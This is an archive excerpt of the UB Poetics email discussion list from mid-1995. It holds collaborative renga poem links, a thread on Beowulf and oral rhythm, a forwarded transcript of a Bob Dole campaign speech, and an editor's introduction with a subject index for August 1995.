> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
  acute, glassy, knighty, and bindy

↑ Index

758. **Jorge Guitart**
Re: rengaro [Cth
Sun 30 Jul 1995

On Sat, 29 Jul 1995, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> Disperate literary melds sweet songs
> Together into a paste (rather like overdone eggplant)
  which chef Bokardo bakes and Barbara Celarent tastes

↑ Index

759. **Jorge Guitart**
Re: Renga
Sun 30 Jul 1995

On Sat, 29 Jul 1995, Ron Silliman wrote:

> In the books were dreams and in those dreams, books
> They flew through windows, one light green and fine morning

> First invented by the whistle of a cardinal in the popular
> Solemn air and sabbath retrograde amalgam. . .
> Why these dots? in the race with dreams, dead birds
> Flew into the words inverted, sabbath, race, in, whistle, window,
> And retrograde, as many forms of sap coming unglued. Chalk salt
> We are feeling very good and undid the lumber
> Spotted 72 King Penguins (No's 32, 33 and 66 missing). Let's see
> That's lines 10, clouds none. My mouse squeaks, does yours?
> Kit Robinson, all elbows under the basket, rebounds well, gadzooks!
lending support to their usefulness as a cognitional framework

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760. Jorge Guitart
Re: Renga 1
Sun 30 Jul 1995

On Sat, 29 Jul 1995, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
thus the global and the level and the designation

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761. Jorge Guitart
Re: Renga 1
Sun 30 Jul 1995

On Sat, 29 Jul 1995, Ron Silliman wrote:

> every fifth line must preceed the first:
>
> Before alive and bled by law>
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Forth on the godly sea, Circes this craft, the trim-coiffed
or true that the natural song of bonk would

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762. **Thomas Bell**
Re: Renga1
Mon 31 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> Solemn air and sabbath retrograde
> Why: these dots in the race when dreamt, did birds
> in flew inverted sabbath race in whistle window retrograde
> We are feeling very good indeed among the lumber,
> The bat corked and me cousin also
> Uncorked, calmly asking for __The Curse of the Red Seal__
> as the blue Nile whimpered and wagged its way to a sunny sea
  Where the moon and the melon comspired before a fading sun
  Day walked together along the longge Innland Sea
  son of the golden arches urinating farthest In
  the dreams of the stories of da days inn

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763. **Thomas Bell**
rengala
Mon 31 Jul 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>Rack of lambent jingoism, carving the exemplar's demise
 Hurricane Eden and evening is nigh []~`\)<-

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764. **Alan Sondheim**
Re: rengala
Mon 31 Jul 1995

On Sun, 30 Jul 1995, Thomas Bell wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*

> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *Rack of lambent jingoism, carving the exemplar's demise*
> *Hurricane Eden and evening is nigh []~`\)<-*
> *Clouded by my drunken bumbling into renga*
> *Where uninvited caravans endlessly sun and whistle*
> *Stumbling me out of clouds flat out the company of poets*

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765. **Rod Smith**

Re: I am I because my little knowledge knows me

Mon 31 Jul 1995

"What you don't know can hurt other people."
--Ted Berrigan

This is my point abt ideology.

I wrote:
>Willa wrote: "I don't think that knowledge can destroy anything"

> *I don't know what this means. A bit of jargon such as the word "ideology" might be in order?*

GB wrote:
>Knowledge can destroy ignorance.

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766. **Rod Smith**

Re: Renga1

Mon 31 Jul 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds
in flew inverted sabbath race in whistle window retrograde
until the books were broth again, steaming, onions bobbing
Good luck, gentlemen. Howard, thanks! Last call--
411 is a joke

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767. **Rod Smith**
Re: Free Verse Soot
Mon 31 Jul 1995

Think we're basically in agreement, just focusing on different aspects of the Thomas quote. Hadn't noticed the "recurring reticence" you referred to, but I haven't been on here that long.
DOWN WITH RECURRING RETICENCE.
--Rod

JB wrote
>Poetry has been "demystified" for you so it no longer exists?

> *Well, I never thought I'd find myself quoting Dylan Thomas but:*

>"The tricks are easy to learn, it's the art that's difficult."
(or words to that effect).

I responded: Can't say as I see how calling it "art" clarifys. & it's true, I hope, that the longer you write the more you learn, but I'm with B.K. in that the "poetic" is not finally defineable. You know it when you see it, & who sees it where is different, I think, for different people.

JB responded
>Rod,
Calling poetry "art" as Thomas did, was not an attempt to >"clarify" any
>more than calling the mechanics of poetry "tricks" was. The point
>of Thomas' statement was as you say: "the 'poetic' is not finally defineable
>You know it when you seeit, & who sees it where is different." My point
in quoting Thomas was to clarify that knowing the mechanics of how
>poetry is made is not necessarily the road to disillusionment, as
was previously stated in reference to someone's grad school experiences.
>I would think that knowing the tricks and then experiencing the results
>would only increase one's awareness that something other than mechanics
>is afoot. I have no problem calling this undefined "art" and I have
wondered why there is a recurring reticence in discussions on the
>poetics list to say poetry is an art and one that requires talent as
well as technique.

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768. **Ryan Knighton**
Re: I am I because my little knowledge knows me
Mon 31 Jul 1995

Knowledge is a sexually transmitted ease. (since we're jousting with maxims)

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769. Sheila E. Murphy
Re: Renga 1
Mon 31 Jul 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling

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770. cris cheek
Re: beowulf
Mon 31 Jul 1995

I'm quoting two poets whose knowledge of Beowulf, in particular, and anglo-saxon poetry beggars mine -

'References within the poem e.g. ll. 1063-70 suggest a sung performance. Against that is the typical lack of syllabic regularity in the line: the line seems designed to produce a varied spoken rhythm. Sentences too vary in length and structure as though to give variety to spoken delivery. There is no stanza-structure to guide melodic planning. In fact the only regular unit is the line. Here, of the four stresses in each line, three are marked by alliteration: in most cases they would, when spoken, be phonetically obvious to the listener, certainly so if given a little emphasis. Equally, a melodic formula could be designed for the four-stress line and repeated for each line; or each line have a melodic shape fitting the contures of the stress-pattern, rising in pitch at the 'stress' - this is the gist of Thomas Cable's 'The Meter and Melody of Beowulf' (University of Illinois Press, 1974). Melody must surely be based on the line structure, and not slow delivery too much. J.C. Pope's 'The Rhythm of Beowulf' (Yale University Press, 1966) suggests rhythmic performance in the sense of modern mathematical-bar-rhythm: it is achieved with damage to the obvious line-structure. The Anglo-Saxon harp, as found at Sutton Hoo, is not a rhythmic or even chordal instrument: it covers a limited scale of notes and would probably double the sung melodic line.' (Bill Griffiths)

'The glimpse we get of a trained poet spontaneously creating new work out of flexible oral formulas, rooted in basic prosodic demands of alliteration and

stress, gives some hint about the generation of the poem. The scene in which Hrothgar's bard retells a heroic episode from the Danish past suggests a context for the actual performance of Beowulf. The allusive method of the work, its oblique revelations and tantalising occlusions no less than its stunningly discontinuous structure, argue that such composition and performance assumed in the audience an extensive knowledge of the traditions available to the poet. Thus the text can be understood as an action in which the audience participates, a cultural fact which tends to exclude the modern reader.' (John Porter)

and from Porter's 1975 as opposed to 1984 translation of the poem here's it's section on the process of composition:

' At times king's thane
man word-laden, songs recalling,
he who very many ancient stories
well remembered, words new devised
correctly linked; man in turn began
the feat of Beowulf skillfully to recite,
and artfully create a tale in keeping,
words varying; likewise told'

The issue of rhythm is crucial. Rhythm in folk musics has been tightened by the twin processes of military organisation and industrialisation? The storyteller Ben Gaggarty was here over the weekend and along with traditional singer Chris Foster and poets Jean 'binta' Breeze and Merle Collins we got into a protracted discussion of rhythm and oral traditions. The question remains as to whether rhythm organically follows or imposes on pulse? Rhythm in many 'folk' musics has become 'stricter' throughout the twentieth century. Go way back into earlier millenia and the speculation favours a looser feel. A beguiling subtlety of pulse.

Finally I'd recommend Eric Havelock's 'Preface To Plato' 9Basil Blackwell, 1963). I got into it about 20 years back through Eric Mottram's enthusiasm. One terrific book. Just to whet the appetite by giving some chapter headings:

'Poetry As Preserved Communication'
'Epic As Record versus Epic As Narrative'
'The Psychology of the Poetic Performance'
'The Content and Quality of the Poetised Statement'
'Separation of Knower from Known'

It discusses habits of 'variation within the same' for example. Here's hoping some of this list's readers can get hold of copies or already know this marvellous read.

love and renga
cris

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771. **Burt Kimmelman**
Re: beowulf
Mon 31 Jul 1995

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cris,

my experience of the oral performance of beowulf, which i recently wrote here about, suggests that the actual enunciation of what we now have as a written text departed quite a bit from the regularity as we see it. thank you so much for your comments, which I am saving for future reference.

burt

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772. **Jorge Guitart**
renga 1
Mon 31 Jul 1995

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let's start over.

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773. **Steven Howard Shoemaker**
Re: Renga, Renga, Renga
Mon 31 Jul 1995

Aldon Nielsen writes:

"a basic feature of the Rnga is supposed to be, as Jacques Roubaud neatly summarized it, that the links (composed of 2 & 3 line sections) follow a syallbic count, and that "any given link of the renga must form a poem along with that which precedes it and this poem must be different from that which it forms with the link which follows it." The new rules proposed in recent postings are in the tradition of proliferating "binding" rules from the 14th century on. What we have going, & perhaps the medium made this inevitable, is something quite different, though no less intriguing. I wouldn't call it a "wronga" -- but maybe we should give it a name of our own devising that might cause less confusion. It's clearly a ringer."

Well, according to the exalted authority of the Princeton Encyclopedia of You-Know-What there *is* a tradition of very complex requirements for the renga form. But it also came, "in Mid-Classical times," to be used as a form of

"relaxation after the rigors of composition in the tanka form." This practice "tended to frivolity," but the more "serious" tradition persisted as well, so that a distinction was made between serious (*ushin*) and playful (*mushin*) forms.

Perhaps we cld consider our little exercise as belonging to the *mushin* category. So: *mush*!

steve

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774. **Tom Taylor**
Re: natl poetry month is april
Mon 31 Jul 1995

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go internety

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775. **eric pape**
Re: knowledge can destroy anything
Mon 31 Jul 1995

Ignorance is far more sure of itself than knowledge. Because it doesn't have to PROVE!

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776. **Tom Taylor**
Re: renga 1
Mon 31 Jul 1995

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over what

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777. **Tom Taylor**
Re: open mike
Mon 31 Jul 1995

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tenor leaven

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778. **Tom Taylor**
Re: pseudononomous newbie
Mon 31 Jul 1995

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week

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779. Tom Taylor
Re: Renga, Renga, Renga
Mon 31 Jul 1995

Mush! Tenga Ranga.

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780. Ron Silliman
B&D
Mon 31 Jul 1995

Thought that header would get your attention. But no, no discussions of Bataille here tonight. What follows is worse. Bob & Dole. Here's the current version of his presidential stump speech. For those of you who are into self-abuse, you can get onto the GOP primary listserv and be kept up to date with all these contending NEA supporters, eg Bullet Bob Dornan or Phil Gramm or Pete (the ultimate opportunist) Wilson.

For details, check out the web page.

****
NH-Primary: The New Hampshire Presidential Primary Internet Forum
Moderators: Mark Kuhn & Jim Farrell
Department of Communication
University of New Hampshire

Web Page: For up-to-date information and the nhprimary archive.
http://unhinfo.unh.edu/unh/acad/libarts/comm/nhprimary/nhprim.html
****
July 31, 1995, Contents:
Dole
*Transcribed text of speech given by Senator Dole at Rochester, NH on
July 30. The speech preceeds a question and answer "town hall"
meeting
with Sen. Dole. The question and answer session will be available to
you
soon.
Note: A posting of "talk" or comments from members will be posted
tomorrow.
****
**
Transcribed from audiotape by Brad Jackvony and Mark Kuhn.

Sen. Robert Dole
Rochester Community Center, Rochester, NH. July 30, 1995

Well first of all I thank you for coming out on a Sunday afternoon I appreciate it very much. I'm sorry Elizabeth cannot be here but she's just recovering from a carotid artery operation which they had to do twice uh in the last six months. But in any event she's back at work and she'll be out on the campaign trail soon. They gave me the day off yesterday, it was her birthday so they gave me the day yesterday so I got to stay in Washington, but uh I've been coming to New Hampshire for a long time. In fact I've probably been in Rochester before anybody here was ever in Rochester. Let's see, maybe forty five years ago I used to come to Rochester from time to time from the larger city of Farmington. [laughter and applause] And uh I so I know about Rochester. The Mayor's here also and his wife Pat. We're happy to have the Mayor here. Where is the Mayor? He's here somewhere. Thank you very much for coming, we appreciate it very much. [applause] You know I've been in politics for some time. And some people say that's the trouble you've been in politics too long. But then I think that if I'm going to have an operation I want somebody who's been in there for a while who's working me over. Or if I'm going to buy anything I want somebody to represent to me, well I know you have to get started sometime, but I don't think experience is bad. That's the point I want to make. And I've had a lot of experience. And I've made a lot of decisions. And I'm not perfect. But I'd like to think that most of the votes I've cast over the years have been mainstream conservative votes that most Americans would support. We we can't agree on every issue, there's some issues we disagree on. There's some single issue that people disagree on. Some disagree so much they leave the party or they won't vote for anybody who has a different point of view. In my view that's not the way to build the Republican party.

There's so much we agree on particularly on economic issues It's my view that the hope of American lies with strengthening the Republican party and making it stronger. Of course it's pretty strong right here in New Hampshire. I was asking George [Lovejoy] how many, they have 24 senators and 18 Republicans. 18 to 6 now that's that's a big margin. In the U.S. Senate we have 54 Republicans and 46 Democrats. And all the Republicans don't stick together all the time. So you've always got little slippage there.

But the thing that really happened that caught the attention of the American people was in 1994. Last November we had a political earthquake in America. And whether you're Democrats or Republicans or Independents you got to believe that there was a seismic change in what happened. The American people by and large, Democrats, Republicans, whatever, said, "We've had

enough." We want to return power back to the states and back to the people. We want to make the government smaller. We know the government does a lot of good things. Probably everybody in this room may have benefitted or will benefit the federal program while you're on this earth. So I'm not suggesting the government hasn't done a lot of good things, but I watched it grow, and I voted against its growth. I voted against the Education Department. I voted against HUD. I voted against the Corporation for Public Broadcasting. I voted against the National Endowment for the Arts.

And I've tried over the years to try keep the government smaller because somebody has to pay for it. And you know who that is. It's you. The people in the first row and the people in the last row and all the people in between. So that's what this election's all about. We have a number of good Republican candidates running for President. They're all friends of mine. I've worked with them. I've served with the four Republican Senators running for President. So I've served with them everyday, everyday they're in town and everyday I'm in town, which is about everyday.

So I just suggest that you're going to make the choice, and a lot of people in the other states will never have the opportunity to make because New Hampshire is so important and New Hampshire will have the first primary. I don't care what happens. New Hampshire will be the first primary state. And it should be the first primary state. And it's gonna happen. [applause] Iowa will have the first caucus state. Iowa had the first, in fact the Governor of Iowa is somewhere campaigning for me today in New Hampshire. He's one of my supporters.

Let me also say that I understand the importance of Portsmouth's Naval Yard to this group. Many may work there. Many certainly indirectly or directly have an interest in Portsmouth. We're pleased that it's over. And I would just say as an [aside,?] that it's not based on politics. I didn't make any calls. But when they had this eight member Brack commission vote to put Portsmouth back on the list. The vote was six to two. The two people I appointed voted not to even to put you back on the list. So I think my people who looked very objective in my view they didn't think Portsmouth should even be looked at again. They thought it was a clear case. Made a convincing case. Certainly the Senator and Congressman Zeliff and others in this room played a major part in that. But I would just say that I have I have been there many times, know where it is and I understand its importance.

Let me also talk about leadership. I don't know how many people here really, really are concerned with what happens in some far off place like Bosnia. We watch television. We're all compassionate people. We don't like to see children murdered. We don't like to see women ravaged. We don't like to see older people driven down the streets, driven from their homes. But we also know

that we can't reach out as Americans and take care of everybody in the world. We know that. As much as we feel we're a compassionate people. We're willing to help but there's some things we just cannot do.

But one thing we could do in Bosnia is the thing I've been talking about even in the Bush administration. I must confess I was somewhat critical of the Bush administration. All the Bosnian people have ever asked us is to lift this illegal embargo and let them defend themselves. Not send American troops. President Clinton promises to send 25,000 American troops. I doubt he could get that authority from Congress. So what we did last week in the senate by a vote of 69 to 29 . By law would direct the President to lift the arms embargo. What does that mean? It means the Bosnians are gonna to have the same chance as the others involved in that conflict to defend themselves. They're an independent nation. They're a member of United Nations. They have a right to self defense under Article 51 of the United Nations charter. And they ought to have that right. And the House is going to take it up on Tuesday. We think its going to be an overwhelming vote. And I assume the President may veto it. Then we have to override the veto which takes two thirds vote. And we think its time the President tried [his leadership?] [Applause] Now the importance not only in Bosnia is the lack of prestige and the loss of prestige that we've suffered in the last 30 months under President Clinton. He made it very clear when he was running that foreign policy was never gonna be high on his priority list. And I would guess as we've talked to each other we don't talk to much about foreign policy. But sometimes it's very important. Sometimes it could involve your son or your grandson or somebody you know somewhere else some relative or some friend or some neighbor. And we've got to be prepared. We've got to be prepared. We've got to provide the leadership. But it's always occurred to me that when Americans providing strong leadership whether its moral or spiritual or economic or military, generally good things happen. We've had no leadership. And don't take it from me. Read the different columns. Read Bill Safire in the New York Times, or read anybody else who focuses on foreign policy from time to time about this administration's lack of leadership. It's all about leadership. It's all about standing up to the American people and saying this is what we are going to do. And then doing it. And not changing it because some poll says oh you shouldn't do that you ought to do this. And that's what leadership's about. So let me just conclude and then I'll be happy to take questions.

I also believe that one of the biggest issues in America is welfare reform. Welfare reform is very important not just to the taxpayers in this audience but also important to the people that must receive the benefits. And we've had 40 years of failure. There's no doubt about it I don't care who they are. You have admit we've had failure. We spent billions and billions and billions of dollars

and there're more people in trouble, more people below the poverty [inaudible], more children born out of wedlock, more crime, more drugs. And it hasn't worked. It hasn't worked. So getting to what we would like to do and I'll speak about this tomorrow in Burlington at the Governors' Conference. I speak in the morning and President Clinton in the afternoon. He doesn't have welfare plan, but he'll go up and tell them he has a plan. If he has a plan we'd like to see it. He doesn't have a plan for the budget, but he talks about a budget. He doesn't have a plan for Medicare, but he talks about how Republicans are going to do in senior citizens, which is not the truth at all. We're going to preserve and protect medicare and I hope somebody asks me that question.

But welfare reform is very important. By giving block grants, money to the Governors, to Governor Merrill, let Governor Merrill make the decisions. Let him make the decisions. Let the state senate and the state assembly make the decisions. If we can do it for about twenty percent less and save billions and billions of dollars and have a better welfare system, which is gonna be much more responsive to needs the people that have to have it. And we're going to have work requirements. If you can work you work. Real work, not job training, not going to school, but real work. That's what the program's all about. [Applause] Now Republicans had trouble getting together on the Senate side. We're just about there. We hope to have a bill to introduce on Tuesday. And we hope to take it up. We're gonna we're not gonna have a, the House'll be in recess and the Senate will still be working. Cause we work more slowly. Our founding fathers wanted it that way. And we haven't let them down. You know it flows pretty slow.

In fact on the balanced budget amendment, I remember we took twenty-two days and lost by one vote. That was disheartening. We had a lot of debate. And I'm reminded, if you watch C-SPAN, you've probably watched Robert Byrd from time to time, the Senator from West Virginia, a Democrat. He didn't like the balanced budget amendment. Said, "It was a terrible thing, we shouldn't have it." He's also a student of Roman history. If you've ever happened to listen to one of his Roman history lectures. I tried to get C-SPAN to offer college credit for people who would listen to his Roman history lessons. But, I remember one day on the Senate floor he was waxing away and he's very, and I say it with some admiration cause he knows alot about Senate rules and alot about Roman history. And he was talking about the balanced budget amendment, and he said "It was so bad that if Cicero were alive today he would be against the balanced budget amendment." At which time Senator Thurmond arose and said, "Well, I knew Cicero and he was for the balanced budget amendment." Now Senator Thurmond's only ninety- two. I was with him in South Carolina, Friday. He's my honorary Chairman there. He's going to run again in ninety-six. He said "If he's re-elected he may consider term limits."

[laughter] He only wants to serve a couple more terms. That's be twelve years. Then he wants to do something worthwhile. So if anybody here feels old just walk around with Strom for a couple of days and you'll feel like a spring chicken.

Well let me say finally. I'll talk about the three R's and then I'll stop. Rein in the federal government. It's gotten too big. Reconnect the government with the [vantages?] of the people here today and all across America. A lot of the things we think the government does good, ends up doing bad. Then reassert ourselves as a nation wherever and whenever challenged. I'm not just talking about the military. The President of the United States should use that office as a bully pulpit.

Lots of people in Hollywood know or the entertainment industry, that there's something more to this business than how much money you can make. That there are children involved. As I see the young man here in the third row and other young people here. And all we're asking is, we're not asking for censorship, I'd be opposed to censorship. But we're asking if you ever tried to read the some of the lyrics. and I know probably nobody here wouldn't even dare read the lyrics or attend some of the movies. I believe the President of the United States, if he has credibility and integrity, he can provide a lot of leadership and we could have movies that we could watch together with our children or grandchildren. [Applause] Before I take the first question, everybody has a little card like this. It's a little card we hope you'll fill out, because that means you're gonna help us. And, at least we hope it means you're gonna help us. If you wanna have a coffee or a barbecue or Congressman Zeliff and I'll probably be back, before the election of course. And we'll be back after the election too. I know how to get back to New Hampshire after the election as well as before the election. So, it's just that we hope you can help us. We have a great organization here. It's gonna be run by New Hampshire people not outsiders. It's gonna be run by New Hampshire Congressman Zeliff's my state chairman, Judd Gregg is my regional chairman, Congressman Bass is gonna to be on board before long. And we hope many we hope to announce many many others here in the near future before. So having said that, I'd be happy to respond to questions.

NOTE: [The question and answer session is being transcribed and will be available soon]

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

August 1995

1052 messages · Tue 1 Aug 1995 – Thu 31 Aug 1995

At midnight on the twenty-fourth the world queues in shopping malls to buy a new operating system called Windows 95; a fortnight before, the fiftieth anniversary of Hiroshima passes in a quieter register, and in Bosnia the shells begin to fall in earnest again. The list, characteristically, spends August absorbed by a machine of its own devising — a single poem being written by everyone at once, and threatening never to stop.

The renga, proposed in late July by Steven Shoemaker with one opening line — *“In the books were dreams and in the dreams were books.”* — has by August become an organism. Ron Silliman, maria damon, Louis Cabri and a dozen others append their links; the thread buds into Renga, Renga3?, Renga4?, ringing renga, until for a few weeks the list is less a discussion group than a scriptorium passing a single manuscript hand to hand across the wires.

Not everyone is enchanted. A backlash gathers under the frank heading Rengaphobia, and Ron Silliman notes, with the satisfaction of a man who has spotted a pattern, that the three objections to poetry cluttering a poetics list are *“All from north of the border”* — the complainants, to a soul, Canadian. George Bowering, chief among the accused, remains gloriously unrepentant and simply posts again.

Between the renga's links the standing quarrels continue. Jonathan Brannen defends the slippery word art as *“fluid by nature,”* apologizing with mock tenderness that its want of certitude should cause anyone discomfort; Cris Cheek maintains that *“The issue of rhythm is crucial”* to the folk-forms thread; and, relayed by Rachel Loden, Herb Levy's provocation that the sonnet now survives only as a *“marketing strategy”* draws the expected blood. The list even finds an afternoon for baseball, punning poets' names against ballplayers' in the Mitchellmania thread.

And still the renga grows, each contributor adding a line to a poem that no one owns and no one is permitted to finish — the month's purest argument that a poem might be a place one enters rather than a thing one keeps. I have set the letters in their true order, drawn the black bars across every address and telephone, and left the renga exactly as August left it: open, and still accepting links.

— Kristen M. Fabians

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508. George Bowering — Re: Mitchellmania, Harpermania
509. Lindz Williamson — Re: Favorite swears
510. Susan Schultz — Re: Mitchellmania, Harpermania
511. maria damon — Re: Shedding the Lurker Skin
512. maria damon — Re: you're fe/mail?
513. Jordan Davis. — political song for michael jackson to sing

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514. Lindz Williamson — Re: you're fe/mail?
515. David Beaudoin — Re: "marketing strategies"
516. David Beaudoin — Re: your mail
517. Louis Cabri — you are male, g.b.
518. Chris Scheil — Re: you're fe/mail?
519. Tony Green — Chook
520. Marisa A Januzzi — Re: furnished, remember?/no renga
521. Tony Green — Re: Rejected posting to [redacted] (fwd)
522. David Kellogg — Re: Larkin fucks again
523. Gwyn McVay — Re: you're fe/mail?
524. Rachel Loden — Larkin fucks again
525. Herb Levy — Seattle readings - Bumbershoot
526. Herb Levy — Re: Favorite swears and Seventies-Speak
527. Mark Roberts — Re: Favorite swears and Seventies-Speak
528. I.LIGHTMAN — Re: you're fe/mail?
529. Loss Glazier — Gloucester's Olson
530. Tom Taylor — Re: Shedding the Lurker Skin
531. Hank Lazer — Re: West Coast Line

532. Jordan Davis. — Gorton's Gloucester (supplement to Loss)
533. Charles Watts — Re: Gloucester's Olson
534. Curt Anderson — Re: Favorite swears, almost
535. Maria Damon — Re: Favorite swears, almost
536. Ryan Knighton — Re: Favorite swears, almost
537. Aldon L. Nielsen — Re: Lurkin'
538. Aldon L. Nielsen — Re: faux mail
539. maria damon — Re: faux kauf
540. David Beaudoin — Re: Gloucester's Olson

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541. Louis Cabri — favourite care word: "you"
542. maria damon — Re: favourite care word: "you"
543. Jordan Davis. — Re: favourite care word: "you"
544. Steve Carll — Re: you're fe/mail?
545. Steve Carll — Too late to the renga
546. George Bowering — Re: Favorite swears, almost
547. George Bowering — Re: Chooks
548. George Bowering — Re: Favorite swears and Seventies-Speak
549. George Bowering — Re: West Coast Line
550. Jordan Davis. — Re: Favorite swears and Seventies-Speak
551. George Bowering — Re: Renga 11: Invasion from Mars
552. Lindz Williamson — Re: Renga 11: Invasion from Mars
553. George Bowering — Re: Favorite swears and Seventies-Speak
554. Alan Sondheim — Re: Renga 11: Invasion from Mars
555. W. Northcutt — Re: Hambone
556. Charles Alexander — Re: furnished, remember?/no renga
557. Charles Alexander — Re: furnished, remember?/no renga
558. Fred E. Maus — Re: furnished, remember?/no renga
559. maria damon — Re: Too late to the renga
560. maria damon — Re: Favorite swears and Seventies-Speak
561. maria damon — Re: Renga 11: Invasion from Mars
562. Mark Roberts — AWOL: THE FAMOUS REPORTER
563. Ryan Knighton — Re: Renga 11: Invasion from Mars
564. Sheila E. Murphy — Re: favourite care word: "you"
565. Sheila E. Murphy — Re: you're fe/mail?
566. Bill Luoma — Re: furnished, remember?/no renga
567. Louis Cabri — A Poem By Ryan Knighton
568. Louis Cabri — hole mag fyi
569. Joseph Zitt — Re: Too late to the renga
570. Gabrielle Welford — Re: JG others and us
571. maria damon — Re: JG others and us
572. maria damon — mumia signature
573. Charles Alexander — Re: favourite care word: "you"
574. Tony Green — Re: Chooks

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575. Gabrielle Welford — Re: Too late to the renga
576. Sheila E. Murphy — Re: favourite care word: "you"
577. Steve Carll — Re: favourite care word: "you"
578. George Bowering — Re: Chooks
579. cris cheek — Re: desire / and the 39 steps
580. Ron Silliman — Re: Mitchellmania, Harpermania
581. Ron Silliman — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
582. David Kellogg — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
583. Chris Stroffolino — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
584. Theresa Krystyna Smalec — women's discourses of HIV and AIDS

585. David Kellogg — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
586. George Bowering — Re: Faulkner
587. George Bowering — Re: Renga 11: Invasion from Mars
588. George Bowering — Re: Mitchellmania, Harpermania
589. George Bowering — Re: "marketing strategies"
590. Joseph Zitt — Re: favourite care word: "you"
591. Ron Silliman — Re: The List Itself
592. Ron Silliman — Re: Shedding the Lurker Skin
593. maria damon — Re: The List Itself
594. Charles Alexander — Re: favourite care word: "you"

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595. Charles Alexander — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
596. Charles Alexander — Re: "marketing strategies"
597. Ron Silliman — Re: Mitchellmania, Harpermania
598. David Kellogg — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
599. Gwyn McVay — Re: "marketing strategies"
600. Rachel Loden — off the subject
601. Chris Stroffolino — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
602. Ryan Knighton — Re: favourite care word: "you"
603. Ryan Knighton — Re: GAPPED
604. maria damon — Re: favourite care word: "you"
605. Jordan Davis. — clean
606. Joseph Zitt — Re: "marketing strategies"
607. Louis Cabri — just frabjous
608. Curt Anderson — Re: clean
609. Sheila E. Murphy — Re: favourite care word: "you"
610. Aldon L. Nielsen — Re: Meet the New Formalists / Just like the Old Formalists

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611. Thomas Bell — Re: favourite care word: "you"
612. Louis Cabri — Re: favourite care word: "you"
613. David Kellogg — Re: "marketing strategies"
614. Kenneth Goldsmith — Hard Press/Lingo WWW Site Is Up
615. Loss Glazier — EPC.News.3
616. Loss Glazier — NEW_URL_for_EPC
617. Ron Silliman — Value in Poetry
618. Aldon L. Nielsen — Re: delayed response
619. Charles Alexander — Re: favourite care word: "you"
620. Charles Alexander — Re: favourite care word: "you"

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621. Marjorie Perloff — Re: troubles with genius
622. George Bowering — Re: troubles with genius
623. George Bowering — Re: "marketing strategies"
624. George Bowering — Re: Mitchellmania, Harpermania
625. George Bowering — Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
626. Alan Sondheim — Re: Mitchellmania, Harpermania
627. Chris Stroffolino — Re: Value in Poetry
628. Sheila E. Murphy — Re: favourite care word: "you"
629. Charles Alexander — Re: favourite care word: "you"
630. Keith Tuma — Re: Value in Poetry
631. maria damon — Re: favourite care word: "you"
632. maria damon — Re: favourite care word: "you"
633. Charles Alexander — Re: favourite care word: "you"
634. Chris Stroffolino — Re: Value in Poetry
635. George Bowering — Re: Mitchellmania, Harpermania

636. Mark Roberts — (no subject)

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637. Shaunanne Tangney — Re: Mitchellmania, Harpermania
638. maria damon — Re: Mitchellmania, Harpermania
639. H. T. KIRBY-SMITH — New Formalism
640. Sheila E. Murphy — Re: favourite care word: "you"
641. Shaunanne Tangney — Re: Mitchellmania, Harpermania
642. Hank Lazer — Re: favourite care word: "you"
643. Lindz Williamson — spyder
644. Ryan Knighton — Re: spyder
645. Joseph Zitt — Re: favourite care word: "you"
646. Jordan Davis. — favorite car word
647. Wystan Curnow — Re: New Formalism
648. Alan Sondheim — Re: favourite care word: "you"
649. Aldon L. Nielsen — Re: Howe's Dfens

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650. Charles Alexander — Re: favourite care word: "you"
651. Charles Alexander — Re: favourite care word: "you"
652. Alan Sondheim — Re: favourite care word: "you"
653. Thomas Bell — Re: favourite care word: "you"
654. Alan Sondheim — Re: favourite care word: "you"
655. Rod Smith — Re: Value in Poetry
656. Rae Armantrout — Re: Howe's Dfens
657. Lindz Williamson — Thesen
658. George Bowering — Re: favourite care word: "you"
659. George Bowering — Re: Mitchellmania, Harpermania
660. Sheila E. Murphy — Re: favourite care word: "you"
661. Sheila E. Murphy — Re: favourite care word: "you"
662. Sheila E. Murphy — Re: favourite care word: "you"
663. maria damon — Re: favourite care word: "you"
664. maria damon — Re: favourite care word: "you"
665. maria damon — movies abt poetry
666. Gabrielle Welford — Re: favourite care word: "you"
667. Issa Clubb — Re: favourite care word: "you"
668. Alan Golding — Howe Now, Brown Formalist (and Bob Perelman too)
669. Alan Golding — Oh shit, it's him again
